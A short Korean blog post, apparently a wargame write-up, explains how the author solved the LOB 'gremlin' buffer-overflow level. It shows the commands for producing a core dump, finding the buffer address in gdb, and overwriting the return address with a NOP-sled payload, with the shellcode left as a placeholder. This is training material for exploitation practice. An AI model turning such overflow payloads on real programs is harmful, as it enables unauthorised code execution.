[lob] gremlin 권한 획득
2016. 12. 19. 23:57
gremlin 쉘 권한 획득
일단 제가 쉘 획득한 과정을 설명하도록 하죠
$ cp ./gremlin ./gremlia
이 명령으로 ./gremlin 파일을 하나 더 만듭니다. 왜 만드냐면 메모리 덤프를 뜰 때 필요한 core 파일을 생성하기 위해서죠. ./gremlin 실행 파일은 권한이 맞지 않기 때문에 Segmentation fault가 떠도 core 파일이 생기지 않습니다.
$ ./gremlia `python -c 'print "a"*260+"b"*4'`
이 명령으로 buffer 메모리의 주소값을 알아낼 수 있습니다. 저는 여기에 Nop sled라는 기법을 이용해서 쉘 코드를 실행시킨 뒤, 쉘을 따낼 생각입니다.
Segmentation fault (core dumped)
이 문구가 떴습니다. core 파일이 생성됐나 봐요. ls 명령어를 치니까 진짜 있습니다.
$ gdb -c core
이렇게 덤프된 core 파일을 분석합니다. 제가 buffer와 그 뒤의 sfp 영역에 a를 집어넣었으니 여기에는 0x61 값이 들어가 있을거고, ret 영역에는 0x62가 들어있겠군요.
그리고 buffer에 0x61값이 들어있는 주소 중 앞에 있는 주소 하나를 복사합니다.
$ ./gremlia `python -c 'print "\x90"*100+"[쉘코드]"+"나머지 260, sfp 까지 채움"+"아까 복사한 주소값"
이렇게 하면 gate의 쉘 권한을 획득할 수 있습니다. 다시 ./gremlia 와 똑같은 인자를 가지고 ./gremlin을 실행합니다.
그리고 쉘이 뙇
끝 이상 제 첫번째 포너블 풀이였습니다.
'Hacking > Pwn.' 카테고리의 다른 글
lob 현황 (0) | 2017.04.25 |
---|---|
argv에서 Segmentation Fault (0) | 2017.04.23 |
codeengn.com (0) | 2017.02.23 |
[pwnable] bof를 응용한 문제를 만들어 봤습니다. (0) | 2016.12.18 |
[pwnable] 왜 원본파일에다 해킹 안함? (0) | 2016.12.18 |